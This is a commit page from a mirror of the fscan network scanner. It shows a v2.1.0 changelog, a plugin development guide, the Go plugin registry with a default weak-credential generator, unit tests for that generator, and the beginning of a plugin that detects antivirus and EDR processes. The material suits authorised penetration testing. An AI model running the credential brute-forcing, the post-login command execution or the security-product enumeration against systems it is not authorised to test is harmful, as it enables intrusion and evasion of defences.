mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-22 19:21:52 +08:00
feat: v2.1.0 核心重构与功能增强
## 架构重构
- 全局变量消除,迁移至 Config/State 对象
- SMB 插件融合(smb/smb2/smbghost/smbinfo)
- 服务探测重构,实现 Nmap 风格 fallback 机制
- 输出系统重构,TXT 实时刷盘 + 双写机制
- i18n 框架升级至 go-i18n
## 性能优化
- 正则表达式预编译
- 内存优化 map[string]struct{}
- 并发指纹匹配
- SOCKS5 连接复用
- 滑动窗口调度 + 自适应线程池
## 新功能
- Web 管理界面
- 多格式 POC 适配(xray/afrog)
- 增强指纹库(3139条)
- Favicon hash 指纹识别
- 插件选择性编译(Build Tags)
- fscan-lab 靶场环境
- 默认端口扩展(62→133)
## 构建系统
- 添加 no_local tag 支持排除本地插件
- 多版本构建:fscan/fscan-nolocal/fscan-web
- CI 添加 snapshot 模式支持仅测试构建
## Bug 修复
- 修复 120+ 个问题,包括 RDP panic、批量扫描漏报、
JSON 输出格式、Redis 检测、Context 超时等
## 测试增强
- 单元测试覆盖率 74-100%
- 并发安全测试
- 集成测试(Web/端口/服务/SSH/ICMP)
This commit is contained in:
@@ -0,0 +1,249 @@
|
||||
# FScan 插件开发规范
|
||||
|
||||
## 概述
|
||||
|
||||
FScan 采用简化的单文件插件架构,每个插件一个 `.go` 文件,消除了过度设计的多文件结构。
|
||||
|
||||
|
||||
1. **简洁至上**:消除所有不必要的抽象层
|
||||
2. **直击本质**:专注于解决实际问题,不为架构而架构
|
||||
3. **向后兼容**:不破坏用户接口和现有功能
|
||||
4. **消除特殊情况**:统一处理逻辑,减少 if/else 分支
|
||||
|
||||
## 插件架构
|
||||
|
||||
### 核心接口
|
||||
|
||||
```go
|
||||
// Plugin 插件接口 - 只保留必要的方法
|
||||
type Plugin interface {
|
||||
GetName() string // 插件名称
|
||||
GetPorts() []int // 支持的端口
|
||||
Scan(ctx context.Context, info *common.HostInfo) *ScanResult // 扫描功能
|
||||
}
|
||||
|
||||
// 可选接口:如果插件支持利用功能
|
||||
type Exploiter interface {
|
||||
Exploit(ctx context.Context, info *common.HostInfo, creds Credential, config *common.Config) *ExploitResult
|
||||
}
|
||||
```
|
||||
|
||||
### 数据结构
|
||||
|
||||
```go
|
||||
// ScanResult 扫描结果 - 删除所有冗余字段
|
||||
type ScanResult struct {
|
||||
Success bool // 扫描是否成功
|
||||
Service string // 服务类型
|
||||
Username string // 发现的用户名(弱密码)
|
||||
Password string // 发现的密码(弱密码)
|
||||
Banner string // 服务版本信息
|
||||
Error error // 错误信息(如果失败)
|
||||
}
|
||||
|
||||
// ExploitResult 利用结果(仅有利用功能的插件需要)
|
||||
type ExploitResult struct {
|
||||
Success bool // 利用是否成功
|
||||
Output string // 命令执行输出
|
||||
Error error // 错误信息
|
||||
}
|
||||
|
||||
// Credential 凭据结构
|
||||
type Credential struct {
|
||||
Username string
|
||||
Password string
|
||||
KeyData []byte // SSH私钥等
|
||||
}
|
||||
```
|
||||
|
||||
## 插件开发模板
|
||||
|
||||
### 1. 纯扫描插件(如MySQL)
|
||||
|
||||
```go
|
||||
package plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
// 其他必要导入
|
||||
)
|
||||
|
||||
// PluginName服务扫描插件
|
||||
type PluginNamePlugin struct {
|
||||
name string
|
||||
ports []int
|
||||
}
|
||||
|
||||
// 构造函数
|
||||
func NewPluginNamePlugin() *PluginNamePlugin {
|
||||
return &PluginNamePlugin{
|
||||
name: "plugin_name",
|
||||
ports: []int{default_port},
|
||||
}
|
||||
}
|
||||
|
||||
// 实现Plugin接口
|
||||
func (p *PluginNamePlugin) GetName() string { return p.name }
|
||||
func (p *PluginNamePlugin) GetPorts() []int { return p.ports }
|
||||
|
||||
func (p *PluginNamePlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||||
// 如果禁用暴力破解,只做服务识别
|
||||
if common.DisableBrute {
|
||||
return p.identifyService(info)
|
||||
}
|
||||
|
||||
// 生成测试凭据
|
||||
credentials := GenerateCredentials("plugin_name")
|
||||
|
||||
// 逐个测试凭据
|
||||
for _, cred := range credentials {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &ScanResult{Success: false, Error: ctx.Err()}
|
||||
default:
|
||||
}
|
||||
|
||||
if p.testCredential(ctx, info, cred) {
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Service: "plugin_name",
|
||||
Username: cred.Username,
|
||||
Password: cred.Password,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &ScanResult{Success: false, Service: "plugin_name"}
|
||||
}
|
||||
|
||||
// 核心认证逻辑
|
||||
func (p *PluginNamePlugin) testCredential(ctx context.Context, info *common.HostInfo, cred Credential) bool {
|
||||
// 实现具体的认证测试逻辑
|
||||
return false
|
||||
}
|
||||
|
||||
// 服务识别(-nobr模式)
|
||||
func (p *PluginNamePlugin) identifyService(info *common.HostInfo) *ScanResult {
|
||||
// 实现服务识别逻辑
|
||||
return &ScanResult{Success: false, Service: "plugin_name"}
|
||||
}
|
||||
|
||||
// 自动注册
|
||||
func init() {
|
||||
RegisterPlugin("plugin_name", func() Plugin {
|
||||
return NewPluginNamePlugin()
|
||||
})
|
||||
}
|
||||
```
|
||||
|
||||
### 2. 带利用功能的插件(如SSH)
|
||||
|
||||
```go
|
||||
package plugins
|
||||
|
||||
// SSH插件结构
|
||||
type SSHPlugin struct {
|
||||
name string
|
||||
ports []int
|
||||
}
|
||||
|
||||
// 同时实现Plugin和Exploiter接口
|
||||
func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||||
// 扫描逻辑(同上)
|
||||
}
|
||||
|
||||
func (p *SSHPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential, config *common.Config) *ExploitResult {
|
||||
// 建立SSH连接
|
||||
client, err := p.connectSSH(info, creds)
|
||||
if err != nil {
|
||||
return &ExploitResult{Success: false, Error: err}
|
||||
}
|
||||
defer client.Close()
|
||||
|
||||
// 执行命令或其他利用操作
|
||||
output, err := p.executeCommand(client, "whoami")
|
||||
return &ExploitResult{
|
||||
Success: err == nil,
|
||||
Output: output,
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
// 辅助方法
|
||||
func (p *SSHPlugin) connectSSH(info *common.HostInfo, creds Credential) (*ssh.Client, error) {
|
||||
// SSH连接实现
|
||||
}
|
||||
|
||||
func (p *SSHPlugin) executeCommand(client *ssh.Client, cmd string) (string, error) {
|
||||
// 命令执行实现
|
||||
}
|
||||
```
|
||||
|
||||
## 开发规范
|
||||
|
||||
### 文件组织
|
||||
|
||||
```
|
||||
plugins/
|
||||
├── base.go # 核心接口和注册系统
|
||||
├── mysql.go # MySQL插件
|
||||
├── ssh.go # SSH插件
|
||||
├── redis.go # Redis插件
|
||||
└── README.md # 开发文档(本文件)
|
||||
```
|
||||
|
||||
### 命名规范
|
||||
|
||||
- **插件文件**:`{service_name}.go`
|
||||
- **插件结构体**:`{ServiceName}Plugin`
|
||||
- **构造函数**:`New{ServiceName}Plugin()`
|
||||
- **插件名称**:小写,与文件名一致
|
||||
|
||||
### 代码规范
|
||||
|
||||
1. **错误处理**:始终使用Context进行超时控制
|
||||
2. **日志输出**:成功时使用 `common.LogSuccess`,调试用 `common.LogDebug`
|
||||
3. **凭据生成**:使用 `GenerateCredentials(service_name)` 生成测试凭据
|
||||
4. **资源管理**:及时关闭连接,使用 defer 确保清理
|
||||
|
||||
### 测试要求
|
||||
|
||||
每个插件必须支持:
|
||||
|
||||
1. **暴力破解模式**:`common.DisableBrute = false`
|
||||
2. **服务识别模式**:`common.DisableBrute = true`
|
||||
3. **Context超时处理**:正确响应 `ctx.Done()`
|
||||
4. **代理支持**:如果 `common.Socks5Proxy` 不为空
|
||||
|
||||
## 迁移指南
|
||||
|
||||
### 从三文件架构迁移
|
||||
|
||||
1. **提取核心逻辑**:从 connector.go 提取认证逻辑
|
||||
2. **合并实现**:将 plugin.go 中的组装逻辑内联
|
||||
3. **删除垃圾**:删除空的 exploiter.go
|
||||
4. **简化数据结构**:只保留必要的字段
|
||||
|
||||
### 从Legacy插件迁移
|
||||
|
||||
1. **保留核心逻辑**:复制扫描和认证的核心算法
|
||||
2. **标准化接口**:实现统一的Plugin接口
|
||||
3. **移除全局依赖**:通过返回值而不是全局变量传递结果
|
||||
4. **统一日志**:使用统一的日志接口
|
||||
|
||||
## 性能优化
|
||||
|
||||
1. **连接复用**:在同一次扫描中复用连接
|
||||
2. **内存管理**:及时释放不需要的资源
|
||||
3. **并发控制**:通过Context控制并发度
|
||||
4. **超时设置**:合理设置各阶段超时时间
|
||||
|
||||
## 示例
|
||||
|
||||
参考 `mysql.go` 作为标准的纯扫描插件实现
|
||||
参考 `ssh.go` 作为带利用功能的插件实现
|
||||
|
||||
---
|
||||
|
||||
**记住:好的代码不是写出来的,是重构出来的。消除所有不必要的复杂性,直击问题本质。**
|
||||
+212
@@ -0,0 +1,212 @@
|
||||
package plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
// Plugin 统一插件接口
|
||||
type Plugin interface {
|
||||
Name() string
|
||||
Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *Result
|
||||
}
|
||||
|
||||
// BasePlugin 基础插件结构,提供通用的name字段
|
||||
type BasePlugin struct {
|
||||
name string
|
||||
}
|
||||
|
||||
// NewBasePlugin 创建基础插件
|
||||
func NewBasePlugin(name string) BasePlugin {
|
||||
return BasePlugin{name: name}
|
||||
}
|
||||
|
||||
// Name 实现Plugin接口
|
||||
func (b BasePlugin) Name() string {
|
||||
return b.name
|
||||
}
|
||||
|
||||
// ResultType 结果类型
|
||||
type ResultType string
|
||||
|
||||
const (
|
||||
ResultTypeCredential ResultType = "credential" // 弱密码发现
|
||||
ResultTypeService ResultType = "service" // 服务识别
|
||||
ResultTypeVuln ResultType = "vuln" // 漏洞发现
|
||||
ResultTypeWeb ResultType = "web" // Web识别
|
||||
)
|
||||
|
||||
// Result 统一结果结构
|
||||
type Result struct {
|
||||
Type ResultType
|
||||
Success bool
|
||||
Skipped bool // 扫描被跳过,不应输出结果
|
||||
Service string
|
||||
Username string
|
||||
Password string
|
||||
Banner string
|
||||
Output string // web/local插件使用
|
||||
Error error
|
||||
|
||||
// Web插件字段
|
||||
Title string // 网页标题
|
||||
Status int // HTTP状态码
|
||||
Server string // 服务器信息
|
||||
Length int // 响应长度
|
||||
VulInfo string // 漏洞信息
|
||||
Fingerprints []string // 指纹信息
|
||||
}
|
||||
|
||||
// Exploiter 利用接口
|
||||
type Exploiter interface {
|
||||
Exploit(ctx context.Context, info *common.HostInfo, creds Credential, config *common.Config) *ExploitResult
|
||||
}
|
||||
|
||||
// ExploitResult 利用结果
|
||||
type ExploitResult struct {
|
||||
Success bool
|
||||
Output string
|
||||
Error error
|
||||
}
|
||||
|
||||
// Credential 认证凭据
|
||||
type Credential struct {
|
||||
Username string
|
||||
Password string
|
||||
KeyData []byte
|
||||
}
|
||||
|
||||
// PluginInfo 插件信息结构
|
||||
type PluginInfo struct {
|
||||
factory func() Plugin
|
||||
ports []int
|
||||
types []string // 插件类型标签
|
||||
}
|
||||
|
||||
// 插件类型常量
|
||||
const (
|
||||
PluginTypeWeb = "web" // Web类型插件
|
||||
PluginTypeLocal = "local" // 本地类型插件
|
||||
PluginTypeService = "service" // 服务类型插件
|
||||
)
|
||||
|
||||
var (
|
||||
plugins = make(map[string]*PluginInfo)
|
||||
mutex sync.RWMutex
|
||||
)
|
||||
|
||||
// RegisterWithPorts 注册带端口信息的插件
|
||||
func RegisterWithPorts(name string, factory func() Plugin, ports []int) {
|
||||
RegisterWithTypes(name, factory, ports, []string{PluginTypeService})
|
||||
}
|
||||
|
||||
// RegisterWithTypes 注册带类型标签的插件
|
||||
func RegisterWithTypes(name string, factory func() Plugin, ports []int, types []string) {
|
||||
mutex.Lock()
|
||||
defer mutex.Unlock()
|
||||
plugins[name] = &PluginInfo{
|
||||
factory: factory,
|
||||
ports: ports,
|
||||
types: types,
|
||||
}
|
||||
}
|
||||
|
||||
// HasType 检查插件是否具有指定类型
|
||||
func HasType(pluginName string, typeName string) bool {
|
||||
mutex.RLock()
|
||||
defer mutex.RUnlock()
|
||||
|
||||
if info, exists := plugins[pluginName]; exists {
|
||||
for _, t := range info.types {
|
||||
if t == typeName {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// Get 获取插件实例
|
||||
func Get(name string) Plugin {
|
||||
mutex.RLock()
|
||||
defer mutex.RUnlock()
|
||||
|
||||
if info, exists := plugins[name]; exists {
|
||||
return info.factory()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// All 获取所有插件名称
|
||||
func All() []string {
|
||||
mutex.RLock()
|
||||
defer mutex.RUnlock()
|
||||
|
||||
names := make([]string, 0, len(plugins))
|
||||
for name := range plugins {
|
||||
names = append(names, name)
|
||||
}
|
||||
return names
|
||||
}
|
||||
|
||||
// Exists 检查插件是否存在
|
||||
func Exists(name string) bool {
|
||||
mutex.RLock()
|
||||
defer mutex.RUnlock()
|
||||
|
||||
_, exists := plugins[name]
|
||||
return exists
|
||||
}
|
||||
|
||||
// GetPluginPorts 获取插件端口列表
|
||||
func GetPluginPorts(name string) []int {
|
||||
mutex.RLock()
|
||||
defer mutex.RUnlock()
|
||||
|
||||
if info, exists := plugins[name]; exists {
|
||||
return info.ports
|
||||
}
|
||||
return []int{} // 返回空列表表示适用于所有端口
|
||||
}
|
||||
|
||||
// GenerateCredentials 生成测试凭据
|
||||
func GenerateCredentials(service string, config *common.Config) []Credential {
|
||||
var credentials []Credential
|
||||
credConfig := config.Credentials
|
||||
|
||||
// 优先使用精确的用户密码对
|
||||
if len(credConfig.UserPassPairs) > 0 {
|
||||
for _, pair := range credConfig.UserPassPairs {
|
||||
credentials = append(credentials, Credential{
|
||||
Username: pair.Username,
|
||||
Password: pair.Password,
|
||||
})
|
||||
}
|
||||
return credentials
|
||||
}
|
||||
|
||||
// 否则使用笛卡尔积方式
|
||||
users := credConfig.Userdict[service]
|
||||
if len(users) == 0 {
|
||||
users = []string{"admin", "root", "administrator", "user", "guest", ""}
|
||||
}
|
||||
|
||||
passwords := credConfig.Passwords
|
||||
if len(passwords) == 0 {
|
||||
passwords = []string{"", "admin", "root", "password", "123456"}
|
||||
}
|
||||
|
||||
for _, user := range users {
|
||||
for _, pass := range passwords {
|
||||
actualPass := strings.ReplaceAll(pass, "{user}", user)
|
||||
credentials = append(credentials, Credential{
|
||||
Username: user,
|
||||
Password: actualPass,
|
||||
})
|
||||
}
|
||||
}
|
||||
return credentials
|
||||
}
|
||||
@@ -0,0 +1,329 @@
|
||||
package plugins
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/config"
|
||||
)
|
||||
|
||||
/*
|
||||
init_test.go - 插件系统核心逻辑测试
|
||||
|
||||
测试目标:GenerateCredentials 函数
|
||||
价值:这个函数生成所有服务的暴力破解凭据,逻辑错误会导致:
|
||||
- 漏掉有效凭据(少生成)
|
||||
- 浪费时间测试重复凭据(多生成)
|
||||
- {user} 占位符不生效(密码错误)
|
||||
|
||||
"凭据生成是暴力破解的弹药库。弹药错了,仗就打不赢。"
|
||||
*/
|
||||
|
||||
// =============================================================================
|
||||
// GenerateCredentials - 核心凭据生成逻辑
|
||||
// =============================================================================
|
||||
|
||||
func TestGenerateCredentials_UserPassPairs_Priority(t *testing.T) {
|
||||
/*
|
||||
关键测试:UserPassPairs 应该优先于笛卡尔积
|
||||
|
||||
为什么重要:
|
||||
- UserPassPairs 是用户精确指定的凭据对
|
||||
- 不应该和 Userdict/Passwords 混合使用
|
||||
- 避免生成大量无用凭据
|
||||
|
||||
Bug 场景:
|
||||
- UserPassPairs + 笛卡尔积混用 → 凭据爆炸
|
||||
- 忽略 UserPassPairs → 用户指定的凭据不生效
|
||||
*/
|
||||
|
||||
// 保存原始值
|
||||
cfg := common.GetGlobalConfig()
|
||||
origUserPassPairs := cfg.Credentials.UserPassPairs
|
||||
origUserdict := cfg.Credentials.Userdict
|
||||
origPasswords := cfg.Credentials.Passwords
|
||||
defer func() {
|
||||
cfg.Credentials.UserPassPairs = origUserPassPairs
|
||||
cfg.Credentials.Userdict = origUserdict
|
||||
cfg.Credentials.Passwords = origPasswords
|
||||
}()
|
||||
|
||||
// 设置测试数据
|
||||
cfg.Credentials.UserPassPairs = []config.CredentialPair{
|
||||
{Username: "admin", Password: "Admin@123"},
|
||||
{Username: "root", Password: "Root@456"},
|
||||
}
|
||||
|
||||
// 即使有 Userdict 和 Passwords,也应该被忽略
|
||||
cfg.Credentials.Userdict = map[string][]string{
|
||||
"mysql": {"mysql", "user1", "user2"},
|
||||
}
|
||||
cfg.Credentials.Passwords = []string{"pass1", "pass2", "pass3"}
|
||||
|
||||
result := GenerateCredentials("mysql", cfg)
|
||||
|
||||
// 验证:只有 2 个凭据(来自 UserPassPairs)
|
||||
if len(result) != 2 {
|
||||
t.Errorf("Expected 2 credentials from UserPassPairs, got %d", len(result))
|
||||
}
|
||||
|
||||
// 验证:凭据内容正确
|
||||
expected := map[string]string{
|
||||
"admin": "Admin@123",
|
||||
"root": "Root@456",
|
||||
}
|
||||
|
||||
for _, cred := range result {
|
||||
if expectedPass, exists := expected[cred.Username]; exists {
|
||||
if cred.Password != expectedPass {
|
||||
t.Errorf("Username %s: expected password %s, got %s",
|
||||
cred.Username, expectedPass, cred.Password)
|
||||
}
|
||||
} else {
|
||||
t.Errorf("Unexpected username: %s", cred.Username)
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ UserPassPairs 优先: 生成 %d 个精确凭据对", len(result))
|
||||
}
|
||||
|
||||
func TestGenerateCredentials_CartesianProduct(t *testing.T) {
|
||||
/*
|
||||
关键测试:笛卡尔积应该正确生成 users × passwords
|
||||
|
||||
为什么重要:
|
||||
- 笛卡尔积是默认的凭据生成方式
|
||||
- 逻辑错误会导致漏掉有效凭据
|
||||
|
||||
Bug 场景:
|
||||
- 嵌套循环顺序错误
|
||||
- 重复生成凭据
|
||||
- 遗漏某些组合
|
||||
*/
|
||||
|
||||
// 保存原始值
|
||||
cfg := common.GetGlobalConfig()
|
||||
origUserPassPairs := cfg.Credentials.UserPassPairs
|
||||
origUserdict := cfg.Credentials.Userdict
|
||||
origPasswords := cfg.Credentials.Passwords
|
||||
defer func() {
|
||||
cfg.Credentials.UserPassPairs = origUserPassPairs
|
||||
cfg.Credentials.Userdict = origUserdict
|
||||
cfg.Credentials.Passwords = origPasswords
|
||||
}()
|
||||
|
||||
// 清空 UserPassPairs,使用笛卡尔积
|
||||
cfg.Credentials.UserPassPairs = []config.CredentialPair{}
|
||||
|
||||
cfg.Credentials.Userdict = map[string][]string{
|
||||
"ssh": {"root", "admin"},
|
||||
}
|
||||
cfg.Credentials.Passwords = []string{"123456", "password"}
|
||||
|
||||
result := GenerateCredentials("ssh", cfg)
|
||||
|
||||
// 验证:应该有 2 × 2 = 4 个凭据
|
||||
expected := 2 * 2
|
||||
if len(result) != expected {
|
||||
t.Errorf("Expected %d credentials (2 users × 2 passwords), got %d", expected, len(result))
|
||||
}
|
||||
|
||||
// 验证:所有组合都存在
|
||||
expectedCombos := map[string]string{
|
||||
"root:123456": "root",
|
||||
"root:password": "root",
|
||||
"admin:123456": "admin",
|
||||
"admin:password": "admin",
|
||||
}
|
||||
|
||||
found := make(map[string]bool)
|
||||
for _, cred := range result {
|
||||
combo := cred.Username + ":" + cred.Password
|
||||
found[combo] = true
|
||||
}
|
||||
|
||||
for combo := range expectedCombos {
|
||||
if !found[combo] {
|
||||
t.Errorf("Missing combination: %s", combo)
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ 笛卡尔积正确: 2 users × 2 passwords = %d 凭据", len(result))
|
||||
}
|
||||
|
||||
func TestGenerateCredentials_PlaceholderReplacement(t *testing.T) {
|
||||
/*
|
||||
关键测试:{user} 占位符应该被替换为用户名
|
||||
|
||||
为什么重要:
|
||||
- 很多服务的默认密码是用户名(如 mysql:mysql)
|
||||
- {user} 占位符是实现这个需求的关键
|
||||
|
||||
Bug 场景:
|
||||
- {user} 不替换 → 密码字面值是 "{user}"
|
||||
- 替换错误 → 密码是其他用户名
|
||||
*/
|
||||
|
||||
// 保存原始值
|
||||
cfg := common.GetGlobalConfig()
|
||||
origUserPassPairs := cfg.Credentials.UserPassPairs
|
||||
origUserdict := cfg.Credentials.Userdict
|
||||
origPasswords := cfg.Credentials.Passwords
|
||||
defer func() {
|
||||
cfg.Credentials.UserPassPairs = origUserPassPairs
|
||||
cfg.Credentials.Userdict = origUserdict
|
||||
cfg.Credentials.Passwords = origPasswords
|
||||
}()
|
||||
|
||||
cfg.Credentials.UserPassPairs = []config.CredentialPair{}
|
||||
|
||||
cfg.Credentials.Userdict = map[string][]string{
|
||||
"mysql": {"root", "mysql"},
|
||||
}
|
||||
cfg.Credentials.Passwords = []string{"{user}", "{user}123"}
|
||||
|
||||
result := GenerateCredentials("mysql", cfg)
|
||||
|
||||
// 验证:应该有 2 × 2 = 4 个凭据
|
||||
expected := 2 * 2
|
||||
if len(result) != expected {
|
||||
t.Errorf("Expected %d credentials, got %d", expected, len(result))
|
||||
}
|
||||
|
||||
// 验证:{user} 被正确替换
|
||||
expectedCombos := map[string]string{
|
||||
"root:root": "root", // {user} → root
|
||||
"root:root123": "root", // {user}123 → root123
|
||||
"mysql:mysql": "mysql", // {user} → mysql
|
||||
"mysql:mysql123": "mysql", // {user}123 → mysql123
|
||||
}
|
||||
|
||||
found := make(map[string]bool)
|
||||
for _, cred := range result {
|
||||
combo := cred.Username + ":" + cred.Password
|
||||
found[combo] = true
|
||||
|
||||
// 验证:密码中不应该有字面值 "{user}"
|
||||
if cred.Password == "{user}" || cred.Password == "{user}123" {
|
||||
t.Errorf("Placeholder not replaced: %s:%s", cred.Username, cred.Password)
|
||||
}
|
||||
}
|
||||
|
||||
for combo := range expectedCombos {
|
||||
if !found[combo] {
|
||||
t.Errorf("Missing combination: %s", combo)
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ {user} 占位符正确替换: 生成 %d 个凭据", len(result))
|
||||
}
|
||||
|
||||
func TestGenerateCredentials_DefaultValues(t *testing.T) {
|
||||
/*
|
||||
关键测试:空字典时应该使用默认值
|
||||
|
||||
为什么重要:
|
||||
- 某些服务可能没有预定义字典
|
||||
- 空字典不应该导致零凭据
|
||||
|
||||
Bug 场景:
|
||||
- 空字典 → 零凭据 → 完全不测试
|
||||
- 默认值错误 → 浪费时间测试无用凭据
|
||||
*/
|
||||
|
||||
// 保存原始值
|
||||
cfg := common.GetGlobalConfig()
|
||||
origUserPassPairs := cfg.Credentials.UserPassPairs
|
||||
origUserdict := cfg.Credentials.Userdict
|
||||
origPasswords := cfg.Credentials.Passwords
|
||||
defer func() {
|
||||
cfg.Credentials.UserPassPairs = origUserPassPairs
|
||||
cfg.Credentials.Userdict = origUserdict
|
||||
cfg.Credentials.Passwords = origPasswords
|
||||
}()
|
||||
|
||||
cfg.Credentials.UserPassPairs = []config.CredentialPair{}
|
||||
cfg.Credentials.Userdict = map[string][]string{} // 空字典
|
||||
cfg.Credentials.Passwords = []string{} // 空密码列表
|
||||
|
||||
result := GenerateCredentials("unknown_service", cfg)
|
||||
|
||||
// 验证:应该有默认凭据
|
||||
// 默认用户: admin, root, administrator, user, guest, ""(6个)
|
||||
// 默认密码: "", admin, root, password, 123456(5个)
|
||||
// 预期:6 × 5 = 30 个凭据
|
||||
expectedUsers := []string{"admin", "root", "administrator", "user", "guest", ""}
|
||||
expectedPasswords := []string{"", "admin", "root", "password", "123456"}
|
||||
expectedTotal := len(expectedUsers) * len(expectedPasswords)
|
||||
|
||||
if len(result) != expectedTotal {
|
||||
t.Errorf("Expected %d credentials with default values, got %d", expectedTotal, len(result))
|
||||
}
|
||||
|
||||
// 验证:默认用户和密码都被使用
|
||||
usersFound := make(map[string]bool)
|
||||
passwordsFound := make(map[string]bool)
|
||||
|
||||
for _, cred := range result {
|
||||
usersFound[cred.Username] = true
|
||||
passwordsFound[cred.Password] = true
|
||||
}
|
||||
|
||||
for _, user := range expectedUsers {
|
||||
if !usersFound[user] {
|
||||
t.Errorf("Default user not found: %s", user)
|
||||
}
|
||||
}
|
||||
|
||||
for _, pass := range expectedPasswords {
|
||||
if !passwordsFound[pass] {
|
||||
t.Errorf("Default password not found: %s", pass)
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ 默认值正确: %d users × %d passwords = %d 凭据",
|
||||
len(expectedUsers), len(expectedPasswords), len(result))
|
||||
}
|
||||
|
||||
func TestGenerateCredentials_EmptyUserPassPairs(t *testing.T) {
|
||||
/*
|
||||
关键测试:空的 UserPassPairs 应该回退到笛卡尔积
|
||||
|
||||
为什么重要:
|
||||
- UserPassPairs = [] 和 nil 行为应该一致
|
||||
- 避免特殊情况
|
||||
|
||||
Bug 场景:
|
||||
- 空数组被当作"有值" → 生成零凭据
|
||||
*/
|
||||
|
||||
// 保存原始值
|
||||
cfg := common.GetGlobalConfig()
|
||||
origUserPassPairs := cfg.Credentials.UserPassPairs
|
||||
origUserdict := cfg.Credentials.Userdict
|
||||
origPasswords := cfg.Credentials.Passwords
|
||||
defer func() {
|
||||
cfg.Credentials.UserPassPairs = origUserPassPairs
|
||||
cfg.Credentials.Userdict = origUserdict
|
||||
cfg.Credentials.Passwords = origPasswords
|
||||
}()
|
||||
|
||||
cfg.Credentials.UserPassPairs = []config.CredentialPair{} // 空数组
|
||||
cfg.Credentials.Userdict = map[string][]string{
|
||||
"test": {"user1"},
|
||||
}
|
||||
cfg.Credentials.Passwords = []string{"pass1"}
|
||||
|
||||
result := GenerateCredentials("test", cfg)
|
||||
|
||||
// 验证:应该回退到笛卡尔积(1 × 1 = 1)
|
||||
if len(result) != 1 {
|
||||
t.Errorf("Expected 1 credential (fallback to cartesian), got %d", len(result))
|
||||
}
|
||||
|
||||
if result[0].Username != "user1" || result[0].Password != "pass1" {
|
||||
t.Errorf("Expected user1:pass1, got %s:%s", result[0].Username, result[0].Password)
|
||||
}
|
||||
|
||||
t.Logf("✓ 空 UserPassPairs 正确回退到笛卡尔积")
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,205 @@
|
||||
//go:build (plugin_avdetect || !plugin_selective) && !no_local
|
||||
|
||||
package local
|
||||
|
||||
import (
|
||||
"context"
|
||||
_ "embed"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
//go:embed auto.json
|
||||
var avDatabase []byte
|
||||
|
||||
// AVProduct AV产品信息结构
|
||||
type AVProduct struct {
|
||||
Processes []string `json:"processes"`
|
||||
URL string `json:"url"`
|
||||
}
|
||||
|
||||
// AVDetectPlugin 杀软检测插件
|
||||
// 设计哲学:"做一件事并做好" - 专注AV检测
|
||||
// - 使用JSON数据库加载AV信息
|
||||
// - 删除复杂的结果结构体
|
||||
// - 跨平台支持,运行时适配
|
||||
type AVDetectPlugin struct {
|
||||
plugins.BasePlugin
|
||||
avProducts map[string]AVProduct
|
||||
}
|
||||
|
||||
// NewAVDetectPlugin 创建AV检测插件
|
||||
func NewAVDetectPlugin() *AVDetectPlugin {
|
||||
plugin := &AVDetectPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("avdetect"),
|
||||
avProducts: make(map[string]AVProduct),
|
||||
}
|
||||
|
||||
// 加载AV数据库
|
||||
if err := json.Unmarshal(avDatabase, &plugin.avProducts); err != nil {
|
||||
common.LogError(i18n.Tr("avdetect_load_failed", err))
|
||||
} else {
|
||||
common.LogInfo(i18n.Tr("avdetect_loaded", len(plugin.avProducts)))
|
||||
}
|
||||
|
||||
return plugin
|
||||
}
|
||||
|
||||
// Scan 执行AV/EDR检测 - 直接、有效
|
||||
func (p *AVDetectPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
||||
var output strings.Builder
|
||||
var detectedAVs []string
|
||||
|
||||
output.WriteString("=== AV/EDR检测 ===\n")
|
||||
|
||||
// 获取运行进程
|
||||
processes := p.getRunningProcesses()
|
||||
if len(processes) == 0 {
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: "无法获取进程列表",
|
||||
Error: fmt.Errorf("进程列表获取失败"),
|
||||
}
|
||||
}
|
||||
|
||||
output.WriteString(fmt.Sprintf("扫描进程数: %d\n\n", len(processes)))
|
||||
|
||||
// 检测AV产品 - 使用JSON数据库
|
||||
for avName, avProduct := range p.avProducts {
|
||||
var foundProcesses []string
|
||||
|
||||
for _, avProcess := range avProduct.Processes {
|
||||
for _, runningProcess := range processes {
|
||||
// 提取进程名部分进行匹配(去除PID信息)
|
||||
processName := runningProcess
|
||||
if strings.Contains(runningProcess, " (PID: ") {
|
||||
processName = strings.Split(runningProcess, " (PID: ")[0]
|
||||
}
|
||||
|
||||
// 简单字符串匹配,忽略大小写
|
||||
if strings.Contains(strings.ToLower(processName), strings.ToLower(avProcess)) {
|
||||
foundProcesses = append(foundProcesses, runningProcess)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(foundProcesses) > 0 {
|
||||
detectedAVs = append(detectedAVs, avName)
|
||||
